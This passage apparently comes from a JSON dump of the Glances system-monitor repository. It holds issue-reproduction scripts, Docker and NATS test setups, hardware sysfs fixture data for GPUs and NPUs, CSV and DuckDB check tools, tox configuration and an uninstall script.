    "content": "import sys\nimport time\n\nsys.path.insert(0, '../glances')\n\n###########\n\n# from glances.cpu_percent import cpu_percent\n\n# for _ in range(0, 5):\n#     print([i['total'] for i in cpu_percent.get_percpu()])\n#     time.sleep(2)\n\n###########\n\nfrom glances.main import GlancesMain\nfrom glances.stats import GlancesStats\n\ncore = GlancesMain()\nstats = GlancesStats(config=core.get_config(), args=core.get_args())\n\nfor _ in range(0, 5):\n    stats.update()\n    print([i['total'] for i in stats.get_plugin('percpu').get_raw()])\n    time.sleep(2)\n"
  },
  {
    "path": "tests-data/issues/issue2851.py",
    "content": "import os\nimport sys\nimport time\n\nimport psutil\n\nsys.path.insert(0, '../glances')\n\nfrom glances.globals import disable, enable\nfrom glances.main import GlancesMain\nfrom glances.stats import GlancesStats\n\ncore = GlancesMain()\nstats = GlancesStats(config=core.get_config(), args=core.get_args())\n\nrefresh = 2\niteration = 6\npid = os.getpid()\nprocess = psutil.Process(pid)\n\nprint(\"Check Glances sensors plugin CPU consumption overhead\")\nprint(\"=====================================================\")\nprint()\n\nprint(f\"Init Glances to make the stats more relevant (wait {iteration * refresh} seconds)\")\nfor i in range(0, iteration):\n    stats.update()\n    time.sleep(refresh)\n\nprint(\"CPU consumption with sensors plugin disable\")\ndisable(stats.get_plugin('sensors').args, 'sensors')\nstats.get_plugin('sensors').reset()\ncpu_start = sum(process.cpu_times()[:2])\nfor i in range(0, iteration):\n    stats.update()\n    print(f'{i + 1}/{iteration}: {len(stats.get_plugin(\"sensors\").get_raw())} sensor')\n    time.sleep(refresh)\ncpu_end = sum(process.cpu_times()[:2])\ncpu_without_sensors = cpu_end - cpu_start\nprint(f'Glances process consumption (user + kernel) with sensors plugin disable: {cpu_without_sensors}')\n\nprint(\"CPU consumption with sensors plugin enable\")\nenable(stats.get_plugin('sensors').args, 'sensors')\nstats.get_plugin('sensors').reset()\ncpu_start = sum(process.cpu_times()[:2])\nfor i in range(0, iteration):\n    stats.update()\n    print(f'{i + 1}/{iteration}: {len(stats.get_plugin(\"sensors\").get_raw())} sensors')\n    time.sleep(refresh)\ncpu_end = sum(process.cpu_times()[:2])\ncpu_with_sensors = cpu_end - cpu_start\nprint(f'Glances process consumption (user + kernel) with sensors plugin enable: {cpu_with_sensors}')\n\nprint(\n    f'Percentage of CPU consumption increase with sensors plugin enable: \\\n {((cpu_with_sensors - cpu_without_sensors) / cpu_without_sensors) * 100:.2f}%'\n)\n"
  },
  {
    "path": "tests-data/issues/issue3027.py",
    "content": "import os\nimport sys\nimport time\n\nimport psutil\n\nsys.path.insert(0, '../glances')\n\nfrom glances.globals import disable, enable\nfrom glances.main import GlancesMain\nfrom glances.stats import GlancesStats\n\ncore = GlancesMain()\nstats = GlancesStats(config=core.get_config(), args=core.get_args())\n\nrefresh = 2\niteration = 6\npid = os.getpid()\nprocess = psutil.Process(pid)\n\nprint(\"Check Glances process* plugins CPU consumption overhead\")\nprint(\"=======================================================\")\nprint()\n\nprint(f\"Init Glances to make the stats more relevant (wait {iteration * refresh} seconds)\")\nfor i in range(0, iteration):\n    stats.update()\n    time.sleep(refresh)\n\nprint(\"CPU consumption with process* plugins disable\")\nfor p in ['processcount', 'processlist', 'programlist']:\n    disable(stats.get_plugin(p).args, p)\n    stats.get_plugin(p).reset()\ncpu_start = sum(process.cpu_times()[:2])\nfor i in range(0, iteration):\n    stats.update()\n    print(f'{i + 1}/{iteration}')\n    time.sleep(refresh)\ncpu_end = sum(process.cpu_times()[:2])\ncpu_without_sensors = cpu_end - cpu_start\nprint(f'Glances process consumption (user + kernel) with process* plugins disable: {cpu_without_sensors}')\n\nprint(\"CPU consumption with process* plugins enable\")\nfor p in ['processcount', 'processlist', 'programlist']:\n    enable(stats.get_plugin(p).args, p)\n    stats.get_plugin(p).reset()\ncpu_start = sum(process.cpu_times()[:2])\nfor i in range(0, iteration):\n    stats.update()\n    print(f'{i + 1}/{iteration}: {len(stats.get_plugin(\"processlist\").get_raw())} processes')\n    time.sleep(refresh)\ncpu_end = sum(process.cpu_times()[:2])\ncpu_with_sensors = cpu_end - cpu_start\nprint(f'Glances process consumption (user + kernel) with process* plugins enable: {cpu_with_sensors}')\n\nprint(\n    f'Percentage of CPU consumption increase with process* plugins enable: \\\n {((cpu_with_sensors - cpu_without_sensors) / cpu_without_sensors) * 100:.2f}%'\n)\n"
  },
  {
    "path": "tests-data/issues/issue3290.py",
    "content": "import time\nfrom multiprocessing import Process, Queue\n\nimport psutil\n\n\ndef exit_after(seconds, default=None):\n    \"\"\"Exit the function if it takes more than 'second' seconds to complete.\n    In this case, return the value of 'default' (default: None).\"\"\"\n\n    def handler(q, func, args, kwargs):\n        q.put(func(*args, **kwargs))\n\n    def decorator(func):\n        def wraps(*args, **kwargs):\n            q = Queue()\n            p = Process(target=handler, args=(q, func, args, kwargs))\n            p.start()\n            p.join(timeout=seconds)\n            if not p.is_alive():\n                return q.get()\n\n            p.terminate()\n            p.join(timeout=0.1)\n            if p.is_alive():\n                # Kill in case processes doesn't terminate\n                # Happens with cases like broken NFS connections\n                p.kill()\n            return default\n\n        return wraps\n\n    return decorator\n\n\nclass Issue3290:\n    @exit_after(1, default=None)\n    def blocking_io_call(self, fs):\n        try:\n            return psutil.disk_usage(fs)\n        except OSError:\n            return None\n\n\nissue = Issue3290()\nwhile True:\n    print(f\"{time.time()} {issue.blocking_io_call('/home/nicolargo/tmp/hang')}\")\n    time.sleep(1)\n"
  },
  {
    "path": "tests-data/issues/issue3319.py",
    "content": "####################################################################################\n#\n# Migration of the code issue3290.py to use multiprocessing with 'fork' start method\n#\n####################################################################################\n\nimport multiprocessing\nimport time\n\nimport psutil\n\n# multiprocessing.set_start_method(\"fork\")\nctx_mp_fork = multiprocessing.get_context('fork')\n\n\ndef exit_after(seconds, default=None):\n    \"\"\"Exit the function if it takes more than 'second' seconds to complete.\n    In this case, return the value of 'default' (default: None).\"\"\"\n\n    def handler(q, func, args, kwargs):\n        q.put(func(*args, **kwargs))\n\n    def decorator(func):\n        def wraps(*args, **kwargs):\n            q = ctx_mp_fork.Queue()\n            p = ctx_mp_fork.Process(target=handler, args=(q, func, args, kwargs))\n            p.start()\n            p.join(timeout=seconds)\n            if not p.is_alive():\n                return q.get()\n\n            p.terminate()\n            p.join(timeout=0.1)\n            if p.is_alive():\n                # Kill in case processes doesn't terminate\n                # Happens with cases like broken NFS connections\n                p.kill()\n            return default\n\n        return wraps\n\n    return decorator\n\n\nclass Issue3290:\n    @exit_after(1, default=None)\n    def blocking_io_call(self, fs):\n        try:\n            return psutil.disk_usage(fs)\n        except OSError:\n            return None\n\n\nissue = Issue3290()\nwhile True:\n    print(f\"{time.time()} {issue.blocking_io_call('/home/nicolargo/tmp/hang')}\")\n    time.sleep(1)\n"
  },
  {
    "path": "tests-data/issues/issue3322-homepage/README.txt",
    "content": "Pre-requisites:\n- Docker needs to be installed on your system\n- https://gethomepage.dev/installation/docker/\n\nStart Docker:\n\n    cd ./tests-data/issues/issue3322-homepage/\n    sh ./run-homepage.sh\n\nAccess to the interface:\n\n    firefox http://localhost:3000/\n\nEdit the ./config/widgets.yaml file and add (replace 192.168.1.26 by your local IP @):\n\n- glances:\n    url: http://192.168.1.26:61208\n    # username: user # optional if auth enabled in Glances\n    # password: pass # optional if auth enabled in Glances\n    version: 4 # required only if running glances v4 or higher, defaults to 3\n    cpu: true # optional, enabled by default, disable by setting to false\n    mem: true # optional, enabled by default, disable by setting to false\n    cputemp: true # disabled by default\n    uptime: true # disabled by default\n    disk: / # disabled by default, use mount point of disk(s) in glances. Can also be a list (see below)\n    diskUnits: bytes # optional, bytes (default) or bbytes. Only applies to disk\n    expanded: true # show the expanded view\n    label: MyMachine # optional\n\nAnd the ./config/services.yaml (replace 192.168.1.26 by your local IP @):\n\n- Glances:\n    - CPU Usage:\n        widget:\n            type: glances\n            url: http://192.168.1.26:61208\n            version: 4 # required only if running glances v4 or higher, defaults to 3\n            metric: cpu\n\n    - MEM Usage:\n        widget:\n            type: glances\n            url: http://192.168.1.26:61208\n            version: 4 # required only if running glances v4 or higher, defaults to 3\n            metric: memory\n\n    - Network Usage:\n        widget:\n            type: glances\n            url: http://192.168.1.26:61208\n            version: 4 # required only if running glances v4 or higher, defaults to 3\n            metric: network:wlp0s20f3\n"
  },
  {
    "path": "tests-data/issues/issue3322-homepage/run-homepage.sh",
    "content": "#!/bin/sh\n\ndocker run --rm \\\n    --name homepage \\\n    -p 3000:3000 \\\n    -e HOMEPAGE_ALLOWED_HOSTS=localhost:3000,0.0.0.0:3000 \\\n    -v ./config:/app/config \\\n    -v /var/run/docker.sock:/var/run/docker.sock \\\n    ghcr.io/gethomepage/homepage:latest\n"
  },
  {
    "path": "tests-data/issues/issue3333-homeassistant/README.txt",
    "content": "Pre-requisites:\n- Docker needs to be installed on your system\n- https://www.home-assistant.io/installation/linux/#install-home-assistant-container\n\nStart Docker:\n\n    cd ./tests-data/issues/issue3333-homeassistant/\n    sh ./run-homeassistant.sh\n\nAccess to the interface:\n\n    firefox http://localhost:8123/\n\nAnd install the Glances plugin.\n\n    Parameters / Services / + Add / Glances\n\nStats will be refreshed every 5 minutes.\n"
  },
  {
    "path": "tests-data/issues/issue3333-homeassistant/run-homeassistant.sh",
    "content": "#!/bin/sh\n\ndocker run -d \\\n    --name homeassistant \\\n    --privileged \\\n    --restart=unless-stopped \\\n    -e TZ=Europe/Paris \\\n    -v ./config:/config \\\n    -v /run/dbus:/run/dbus:ro \\\n    --network=host \\\n    ghcr.io/home-assistant/home-assistant:stable\n"
  },
  {
    "path": "tests-data/issues/issue3341-NATS/pub.py",
    "content": "import asyncio\n\nimport nats\n\n\nasync def main():\n    nc = nats.NATS()\n\n    await nc.connect(servers=[\"nats://localhost:4222\"])\n\n    await nc.publish(\"glances.test\", b'A test')\n    await nc.flush()\n\n\nif __name__ == '__main__':\n    asyncio.run(main())\n\n# To run this test script, make sure you have a NATS server running locally.\n"
  },
  {
    "path": "tests-data/issues/issue3341-NATS/sub.py",
    "content": "import asyncio\n\nimport nats\n\n\nasync def main():\n    duration = 30\n    subject = \"glances.*\"\n\n    nc = nats.NATS()\n\n    await nc.connect(servers=[\"nats://localhost:4222\"])\n\n    future = asyncio.Future()\n\n    async def cb(msg):\n        subject = msg.subject\n        reply = msg.reply\n        data = msg.data.decode()\n        print(f\"Received a message on '{subject} {reply}': {data}\")\n\n    print(f\"Receiving message from {subject} during {duration} seconds...\")\n    await nc.subscribe(subject, cb=cb)\n    await asyncio.wait_for(future, duration)\n\n    await nc.close()\n\n\nif __name__ == '__main__':\n    asyncio.run(main())\n\n# To run this test script, make sure you have a NATS server running locally.\n"
  },
  {
    "path": "tests-data/issues/issue3434/docker-compose.yml",
    "content": "services:\n  glances:\n    container_name: glances\n    image: glances:local-alpine-minimal\n    restart: always\n    ports:\n      - \"61208:61208\"\n    environment:\n      - GLANCES_OPT=-w --password\n    volumes:\n      - /var/run/docker.sock:/var/run/docker.sock:ro\n      # Uncomment the below line if you want glances to display host OS detail instead of container's\n      # - /etc/os-release:/etc/os-release:ro\n    pid: host\n    secrets:\n      - source: glances_password\n        target: /root/.config/glances/glances.pwd\n\nsecrets:\n  glances_password:\n    file: /home/nicolargo/.config/glances/glances.pwd\n"
  },
  {
    "path": "tests-data/issues/issue869.py",
    "content": "# Install PyWebview before running this test\n# But need Qt installed on the system...\n\nimport webview\n\nwebview.create_window('Hello world', 'http://localhost:61208/')\nwebview.start()\n"
  },
  {
    "path": "tests-data/plugins/fs/zfs/arcstats",
    "content": "9 1 0x01 147 39984 22179924650 77805722884984\nname                            type data\nhits                            4    163573507\niohits                          4    1112419\nmisses                          4    16368761\ndemand_data_hits                4    72451565\ndemand_data_iohits              4    803830\ndemand_data_misses              4    2130504\ndemand_metadata_hits            4    90322004\ndemand_metadata_iohits          4    33395\ndemand_metadata_misses          4    1259616\nprefetch_data_hits              4    5100\nprefetch_data_iohits            4    54\nprefetch_data_misses            4    12846585\nprefetch_metadata_hits          4    794838\nprefetch_metadata_iohits        4    275140\nprefetch_metadata_misses        4    132056\nmru_hits                        4    40587444\nmru_ghost_hits                  4    119612\nmfu_hits                        4    122986063\nmfu_ghost_hits                  4    792\nuncached_hits                   4    0\ndeleted                         4    240714336\nmutex_miss                      4    29651\naccess_skip                     4    17\nevict_skip                      4    3\nevict_not_enough                4    0\nevict_l2_cached                 4    779348272640\nevict_l2_eligible               4    3032617077760\nevict_l2_eligible_mfu           4    64470016\nevict_l2_eligible_mru           4    3032552607744\nevict_l2_ineligible             4    112752640\nevict_l2_skip                   4    0\nhash_elements                   4    4708410\nhash_elements_max               4    9041764\nhash_collisions                 4    80682806\nhash_chains                     4    549398\nhash_chain_max                  4    8\nmeta                            4    1120493253\npd                              4    2140686966\npm                              4    2225035009\nc                               4    60312499360\nc_min                           4    2637352832\nc_max                           4    69793218560\nsize                            4    41321273080\ncompressed_size                 4    35897732096\nuncompressed_size               4    65567515648\noverhead_size                   4    2501788672\nhdr_size                        4    1134386336\ndata_size                       4    32250192896\nmetadata_size                   4    6149327872\ndbuf_size                       4    450035208\ndnode_size                      4    984383760\nbonus_size                      4    308172480\nanon_size                       4    20157952\nanon_data                       4    19607552\nanon_metadata                   4    550400\nanon_evictable_data             4    0\nanon_evictable_metadata         4    0\nmru_size                        4    35167577600\nmru_data                        4    29692877824\nmru_metadata                    4    5474699776\nmru_evictable_data              4    27496793600\nmru_evictable_metadata          4    4834513920\nmru_ghost_size                  4    21166751744\nmru_ghost_data                  4    2506145792\nmru_ghost_metadata              4    18660605952\nmru_ghost_evictable_data        4    2506145792\nmru_ghost_evictable_metadata    4    18660605952\nmfu_size                        4    3211785216\nmfu_data                        4    2537707520\nmfu_metadata                    4    674077696\nmfu_evictable_data              4    1617436160\nmfu_evictable_metadata          4    204706304\nmfu_ghost_size                  4    76094464\nmfu_ghost_data                  4    76094464\nmfu_ghost_metadata              4    0\nmfu_ghost_evictable_data        4    76094464\nmfu_ghost_evictable_metadata    4    0\nuncached_size                   4    0\nuncached_data                   4    0\nuncached_metadata               4    0\nuncached_evictable_data         4    0\nuncached_evictable_metadata     4    0\nl2_hits                         4    143402\nl2_misses                       4    12645465\nl2_prefetch_asize               4    6069248\nl2_mru_asize                    4    361556480\nl2_mfu_asize                    4    1765280768\nl2_bufc_data_asize              4    2019670016\nl2_bufc_metadata_asize          4    113236480\nl2_feeds                        4    127414\nl2_rw_clash                     4    0\nl2_read_bytes                   4    1315843584\nl2_write_bytes                  4    763235489792\nl2_writes_sent                  4    90085\nl2_writes_done                  4    90085\nl2_writes_error                 4    0\nl2_writes_lock_retry            4    256\nl2_evict_lock_retry             4    93\nl2_evict_reading                4    0\nl2_evict_l1cached               4    12729\nl2_free_on_write                4    76388\nl2_abort_lowmem                 4    18\nl2_cksum_bad                    4    0\nl2_io_error                     4    0\nl2_size                         4    3095654400\nl2_asize                        4    2132906496\nl2_hdr_size                     4    852096\nl2_log_blk_writes               4    6134\nl2_log_blk_avg_asize            4    16195\nl2_log_blk_asize                4    60463616\nl2_log_blk_count                4    4242\nl2_data_to_meta_ratio           4    220\nl2_rebuild_success              4    0\nl2_rebuild_unsupported          4    1\nl2_rebuild_io_errors            4    0\nl2_rebuild_dh_errors            4    0\nl2_rebuild_cksum_lb_errors      4    0\nl2_rebuild_lowmem               4    0\nl2_rebuild_size                 4    0\nl2_rebuild_asize                4    0\nl2_rebuild_bufs                 4    0\nl2_rebuild_bufs_precached       4    0\nl2_rebuild_log_blks             4    0\nmemory_throttle_count           4    0\nmemory_direct_count             4    0\nmemory_indirect_count           4    2690\nmemory_all_bytes                4    84395290624\nmemory_free_bytes               4    26664001536\nmemory_available_bytes          3    23747772544\narc_no_grow                     4    0\narc_tempreserve                 4    0\narc_loaned_bytes                4    0\narc_prune                       4    0\narc_meta_used                   4    9027157752\narc_dnode_limit                 4    6979321856\nasync_upgrade_sync              4    804060\npredictive_prefetch             4    14053359\ndemand_hit_predictive_prefetch  4    12183015\ndemand_iohit_predictive_prefetch 4    828711\nprescient_prefetch              4    414\ndemand_hit_prescient_prefetch   4    333\ndemand_iohit_prescient_prefetch 4    81\narc_need_free                   4    0\narc_sys_free                    4    2916228992\narc_raw_size                    4    0\ncached_only_in_progress         4    0\nabd_chunk_waste_size            4    43922432"
  },
  {
    "path": "tests-data/plugins/gpu/amd/sys/class/drm/card0/device/device",
    "content": "0x1586\n"
  },
  {
    "path": "tests-data/plugins/gpu/amd/sys/class/drm/card0/device/gpu_busy_percent",
    "content": "10\n"
  },
  {
    "path": "tests-data/plugins/gpu/amd/sys/class/drm/card0/device/hwmon/hwmon0/in1_input",
    "content": "0\n"
  },
  {
    "path": "tests-data/plugins/gpu/amd/sys/class/drm/card0/device/hwmon/hwmon0/temp1_input",
    "content": "24000\n"
  },
  {
    "path": "tests-data/plugins/gpu/amd/sys/class/drm/card0/device/mem_info_gtt_total",
    "content": "17179869184\n"
  },
  {
    "path": "tests-data/plugins/gpu/amd/sys/class/drm/card0/device/mem_info_gtt_used",
    "content": "79949824\n"
  },
  {
    "path": "tests-data/plugins/gpu/amd/sys/class/drm/card0/device/mem_info_vram_total",
    "content": "2147483648\n"
  },
  {
    "path": "tests-data/plugins/gpu/amd/sys/class/drm/card0/device/mem_info_vram_used",
    "content": "79949824\n"
  },
  {
    "path": "tests-data/plugins/gpu/amd/sys/class/drm/card0/device/pp_dpm_mclk",
    "content": "0: 300Mhz *\n1: 1000Mhz\n2: 1500Mhz\n"
  },
  {
    "path": "tests-data/plugins/gpu/amd/sys/class/drm/card0/device/pp_dpm_sclk",
    "content": "0: 214Mhz \n1: 551Mhz *\n2: 734Mhz\n3: 1000Mhz\n4: 1046Mhz\n5: 1098Mhz\n6: 1124Mhz\n7: 1183Mhz\n"
  },
  {
    "path": "tests-data/plugins/gpu/amd/sys/class/drm/card0/device/revision",
    "content": "0xc1\n"
  },
  {
    "path": "tests-data/plugins/gpu/amd/sys/kernel/debug/dri/0/amdgpu_pm_info",
    "content": "GFX Clocks and Power:\n300 MHz (MCLK)\n214 MHz (SCLK)\n734 MHz (PSTATE_SCLK)\n1000 MHz (PSTATE_MCLK)\n700 mV (VDDGFX)\n3.213 W (average GPU)\n\nGPU Temperature: 24 C\nGPU Load: 0 %\nMEM Load: 0 %\n\nUVD: Disabled\n\nVCE: Disabled\nClock Gating Flags Mask: 0x3fbcf\nGraphics Fine Grain Clock Gating: Off\nGraphics Medium Grain Clock Gating: On\nGraphics Medium Grain memory Light Sleep: On\nGraphics Coarse Grain Clock Gating: On\nGraphics Coarse Grain memory Light Sleep: On\nGraphics Coarse Grain Tree Shader Clock Gating: Off\nGraphics Coarse Grain Tree Shader Light Sleep: Off\nGraphics Command Processor Light Sleep: On\nGraphics Run List Controller Light Sleep: On\nGraphics 3D Coarse Grain Clock Gating: Off\nGraphics 3D Coarse Grain memory Light Sleep: Off\nMemory Controller Light Sleep: On\nMemory Controller Medium Grain Clock Gating: On\nSystem Direct Memory Access Light Sleep: Off\nSystem Direct Memory Access Medium Grain Clock Gating: On\nBus Interface Medium Grain Clock Gating: Off\nBus Interface Light Sleep: On\nUnified Video Decoder Medium Grain Clock Gating: On\nVideo Compression Engine Medium Grain Clock Gating: On\nHost Data Path Light Sleep: On\nHost Data Path Medium Grain Clock Gating: On\nDigital Right Management Medium Grain Clock Gating: Off\nDigital Right Management Light Sleep: Off\nRom Medium Grain Clock Gating: On\nData Fabric Medium Grain Clock Gating: Off\nVCN Medium Grain Clock Gating: Off\nHost Data Path Deep Sleep: Off\nHost Data Path Shutdown: Off\nInterrupt Handler Clock Gating: Off\nJPEG Medium Grain Clock Gating: Off\nRepeater Fine Grain Clock Gating: Off\nPerfmon Clock Gating: Off\nAddress Translation Hub Medium Grain Clock Gating: Off\nAddress Translation Hub Light Sleep: Off\n\n"
  },
  {
    "path": "tests-data/plugins/npu/amd/sys/bus/pci/drivers/amdxdna/0000_c4_00.1/accel/accel0/dev",
    "content": ""
  },
  {
    "path": "tests-data/plugins/npu/amd/sys/bus/pci/drivers/amdxdna/0000_c4_00.1/device",
    "content": "0x1714\n"
  },
  {
    "path": "tests-data/plugins/npu/amd/sys/bus/pci/drivers/amdxdna/0000_c4_00.1/vendor",
    "content": "0x1022\n"
  },
  {
    "path": "tests-data/plugins/npu/amd/sys/class/devfreq/amdxdna/cur_freq",
    "content": "800000000\n"
  },
  {
    "path": "tests-data/plugins/npu/amd/sys/class/devfreq/amdxdna/max_freq",
    "content": "1500000000\n"
  },
  {
    "path": "tests-data/plugins/npu/amd/sys/class/devfreq/amdxdna/min_freq",
    "content": "400000000\n"
  },
  {
    "path": "tests-data/plugins/npu/intel/sys/class/accel/accel0/device/device",
    "content": "0x7d1d\n"
  },
  {
    "path": "tests-data/plugins/npu/intel/sys/class/accel/accel0/device/hwmon/hwmon2/power1_input",
    "content": "2500000\n"
  },
  {
    "path": "tests-data/plugins/npu/intel/sys/class/accel/accel0/device/hwmon/hwmon2/temp1_input",
    "content": "45000\n"
  },
  {
    "path": "tests-data/plugins/npu/intel/sys/class/accel/accel0/device/npu_current_frequency_mhz",
    "content": "800\n"
  },
  {
    "path": "tests-data/plugins/npu/intel/sys/class/accel/accel0/device/npu_max_frequency_mhz",
    "content": "1400\n"
  },
  {
    "path": "tests-data/plugins/npu/intel/sys/class/accel/accel0/device/vendor",
    "content": "0x8086\n"
  },
  {
    "path": "tests-data/plugins/npu/rockchip/proc/device-tree/model",
    "content": "Orange Pi 5 Plus\n"
  },
  {
    "path": "tests-data/plugins/npu/rockchip/sys/class/devfreq/fdab0000.npu/cur_freq",
    "content": "600000000\n"
  },
  {
    "path": "tests-data/plugins/npu/rockchip/sys/class/devfreq/fdab0000.npu/max_freq",
    "content": "1000000000"
  },
  {
    "path": "tests-data/plugins/npu/rockchip/sys/class/devfreq/fdab0000.npu/min_freq",
    "content": "300000000"
  },
  {
    "path": "tests-data/plugins/npu/rockchip/sys/kernel/debug/rknpu/load",
    "content": "NPU load: Core0: 45%, Core1: 32%, Core2: 0%,\n"
  },
  {
    "path": "tests-data/plugins/npu/rockchip/sys/kernel/debug/rknpu/mm",
    "content": "SRAM bitmap: \"*\" - used, \".\" - free (1bit = 4KB)\n[000] [********************************]\n[001] [********************************]\n[002] [********************************]\n[003] [********************************]\n[004] [................................]\n[005] [................................]\n[006] [................................]\n[007] [...............]\n"
  },
  {
    "path": "tests-data/plugins/npu/rockchip/sys/kernel/debug/rknpu/version",
    "content": ""
  },
  {
    "path": "tests-data/tools/csvcheck.py",
    "content": "#!/usr/bin/env python\n#\n# Check a CSV file.\n# The input CSV file should be given as an input with the -i <file> option.\n# Check the following thinks:\n# - number of line (without the header) should be equal to the number given with the -l <number of lines> option\n# - each line should have the same number of columns\n# - if the optional -c <number of columns> option is given, each line should have the the same number of columns\n\nimport argparse\nimport csv\nimport sys\n\n\ndef check_csv(input_file, expected_lines, expected_columns=None):\n    try:\n        with open(input_file, newline='') as csvfile:\n            reader = csv.reader(csvfile)\n\n            # Read header\n            header = next(reader, None)\n            if header is None:\n                print(\"Error: CSV file is empty\")\n                return False\n\n            header_columns = len(header)\n            print(f\"Header has {header_columns} columns\")\n\n            # Read all the data rows\n            rows = list(reader)\n            row_count = len(rows)\n\n            # Check 1: Number of lines\n            if row_count != expected_lines:\n                print(f\"Error: Expected {expected_lines} lines, but found {row_count}\")\n                return False\n            print(f\"Line count check passed: {row_count} lines (excluding header)\")\n\n            # Check 2: Consistent number of columns\n            column_counts = [len(row) for row in rows]\n            if len(set(column_counts)) > 1:\n                print(\"Error: Not all rows have the same number of columns\")\n                for i, count in enumerate(column_counts):\n                    if count != header_columns:\n                        print(f\"Row {i + 1} has {count} columns (different from header)\")\n                return False\n            print(\"Column consistency check passed: All rows have the same number of columns\")\n\n            # Check 3: Optional - specific number of columns\n            if expected_columns is not None:\n                if header_columns != expected_columns:\n                    print(f\"Error: Expected {expected_columns} columns, but found {header_columns}\")\n                    return False\n                print(f\"Column count check passed: {header_columns} columns\")\n\n            return True\n\n    except FileNotFoundError:\n        print(f\"Error: File '{input_file}' not found\")\n        return False\n    except Exception as e:\n        print(f\"Error processing CSV file: {str(e)}\")\n        return False\n\n\ndef main():\n    parser = argparse.ArgumentParser(description='Check a CSV file for various properties.')\n    parser.add_argument('-i', '--input', required=True, help='Input CSV file')\n    parser.add_argument('-l', '--lines', type=int, required=True, help='Expected number of lines (excluding header)')\n    parser.add_argument('-c', '--columns', type=int, help='Expected number of columns (optional)')\n\n    args = parser.parse_args()\n\n    success = check_csv(args.input, args.lines, args.columns)\n\n    if success:\n        print(\"CSV - All checks passed successfully!\")\n        sys.exit(0)\n    else:\n        print(\"CSV validation failed.\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "tests-data/tools/duckdbcheck.py",
    "content": "#!/usr/bin/env python\n#\n# Check a DuckDB file.\n# The input DuckDB file should be given as an input with the -i <file> option.\n# Check the following thinks:\n# - number of line (without the header) should be equal to the number given with the -l <number of lines> option\n# - each line should have the same number of columns\n# - if the optional -c <number of columns> option is given, each line should have the the same number of columns\n\nimport argparse\nimport sys\n\nimport duckdb\n\n\ndef check_duckdb(input_file, expected_lines, expected_columns=None):\n    try:\n        db = duckdb.connect(database='/tmp/glances.db', read_only=True)\n\n        result = db.sql(\"SELECT * from cpu\").fetchall()\n\n        # Check 1: Number of lines for CPU\n        row_count = len(result)\n        if row_count < expected_lines:\n            print(f\"Error: Expected {expected_lines} CPU lines, but found {row_count}\")\n            return False\n\n        result = db.sql(\"SELECT * from network\").fetchall()\n\n        # Check 2: Number of lines for Network\n        row_count = len(result)\n        if row_count < expected_lines:\n            print(f\"Error: Expected {expected_lines} Network lines, but found {row_count}\")\n            return False\n\n        return True\n\n    except FileNotFoundError:\n        print(f\"Error: File '{input_file}' not found\")\n        return False\n    except Exception as e:\n        print(f\"Error processing DuckDB file: {str(e)}\")\n        return False\n\n\ndef main():\n    parser = argparse.ArgumentParser(description='Check a DuckDB file for various properties.')\n    parser.add_argument('-i', '--input', required=True, help='Input CSV file')\n    parser.add_argument('-l', '--lines', type=int, required=True, help='Expected number of lines (excluding header)')\n    parser.add_argument('-c', '--columns', type=int, help='Expected number of columns (optional)')\n\n    args = parser.parse_args()\n\n    success = check_duckdb(args.input, args.lines, args.columns)\n\n    if success:\n        print(\"DuckDB - All checks passed successfully!\")\n        sys.exit(0)\n    else:\n        print(\"DuckDB validation failed.\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "tests-data/tools/find-duplicate-lines.sh",
    "content": "#!/bin/sh\n\nfind ./glances/ -type f -name \"*.py\" -exec sh -c '\n    duplicate_found=0\n    for file; do\n        last_line=$(tail -n 1 \"$file\")\n        second_last_line=$(tail -n 2 \"$file\" | head -n 1)\n        if [ -n \"$last_line\" ] && [ -n \"$second_last_line\" ] && [ \"$last_line\" = \"$second_last_line\" ]; then\n            echo \"Duplicate last line in: $file\"\n            duplicate_found=1\n        fi\n    done\n    exit $duplicate_found\n' sh {} +\n"
  },
  {
    "path": "tox.ini",
    "content": "# Tox (http://tox.testrun.org/) is a tool for running tests\n# Install:\n#   pip install tox\n# Run:\n#   tox\n\n[tox]\nenvlist =\n    py39\n    py310\n    py311\n    py312\n    py313\n\n[testenv]\ndeps =\n    flake8\n    psutil\n    defusedxml\n    packaging\n    orjson\n    fastapi\n    uvicorn\n    jinja2\n    requests\n    pytest\ncommands =\n    python -m pytest tests/test_core.py\n"
  },
  {
    "path": "uninstall.sh",
    "content": "#!/bin/bash\n\nif [ \"$(id -u)\" != \"0\" ]; then\n    echo \"* ERROR: User $(whoami) is not root, and does not have sudo privileges\"\n    exit 1\nfi\n\nif [ ! -f \"setup.py\" ]; then\n    echo -e \"* ERROR: Setup file doesn't exist\"\n    exit 1\nfi\n\n\n\npython setup.py install --record install.record\n\nwhile IFS= read -r i; do\n    rm \"$i\"\ndone < install.record\n\necho -e \"\\n\\n* SUCCESS: Uninstall complete.\"\nrm install.record\n"
  }
]